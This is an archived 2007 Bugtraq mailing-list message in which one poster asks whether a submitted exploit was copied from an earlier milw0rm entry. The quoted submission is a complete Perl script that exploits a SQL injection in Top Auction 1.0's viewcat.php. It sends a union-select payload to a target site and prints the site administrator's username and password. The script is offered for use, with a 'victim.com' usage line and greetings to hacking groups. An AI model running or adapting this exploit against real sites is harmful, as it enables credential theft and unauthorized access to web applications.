[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <814b9d50704210906y3520d564g73caf843561ccd26@mail.gmail.com>
Date: Sat, 21 Apr 2007 11:06:58 -0500
From: str0ke <str0ke@...w0rm.com>
To: "seko@...ko.info" <seko@...ko.info>
Cc: bugtraq@...urityfocus.com
Subject: Re: Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection // starhack.org
Isn't this ajann's find / code?
http://www.milw0rm.com/exploits/3456
/str0ke
On 21 Apr 2007 12:46:35 -0000, seko@...ko.info <seko@...ko.info> wrote:
> #!/usr/bin/perl
> #Author : SekoMirza // French
> #Script Name : Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection Exploit
> #Greetings : Sh4dowM4n , PhanTOmOrhcid , Starhack.0rg , CaRaMeL , MBrain! , and all Turkishz Hackerzz
> #S.Page : http://www.phplabs.com
>
>
> use IO::Socket;
> if(@ARGV < 1){
> print "
> [========================================================================
> [// Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection Exploit
> [// Usage: exploit.pl [target]
> [// Example: exploit.pl victim.com
> [// Example: exploit.pl victim.com
> [//
> [========================================================================
> ";
> exit();
> }
> #Local variables
> $server = $ARGV[0];
> $server =~ s/(http:\/\/)//eg;
> $host = "http://".$server;
> $port = "80";
> $file = "/viewcat.php?category=";
>
> print "Script <DIR> : ";
> $dir = <STDIN>;
> chop ($dir);
>
> if ($dir =~ /exit/){
> print "-- Exploit Failed[You Are Exited] \n";
> exit();
> }
>
> if ($dir =~ /\//){}
> else {
> print "-- Exploit Failed[No DIR] \n";
> exit();
> }
>
>
> $target =
>
> "-1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),nick,char(112,97,115,115,58),password),3%20from%20use
>
> rs/*";
> $target = $host.$dir.$file.$target;
>
> #Writing data to socket
> print "+**********************************************************************+\n";
> print "+ Trying to connect: $server\n";
> $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection
>
> failed...\n";
> print $socket "GET $target HTTP/1.1\n";
> print $socket "Host: $server\n";
> print $socket "Accept: */*\n";
> print $socket "Connection: close\n\n";
> print "+ Connected!...\n";
> #Getting
> while($answer = <$socket>) {
> if ($answer =~ /username:(.*?)pass/){
> print "+ Exploit succeed! Getting admin information.\n";
> print "+ ---------------- +\n";
> print "+ Username: $1\n";
> }
>
> if ($answer =~ /pass:(.*?)<\/title>/){
> print "+ Password: $1\n";
> }
>
> if ($answer =~ /Syntax error/) {
> print "+ Exploit Failed : ( \n";
> print "+**********************************************************************+\n";
> exit();
> }
>
> if ($answer =~ /Internal Server Error/) {
> print "+ Exploit Failed : ( \n";
> print "+**********************************************************************+\n";
> exit();
> }
> }
>
>
Powered by blists - more mailing lists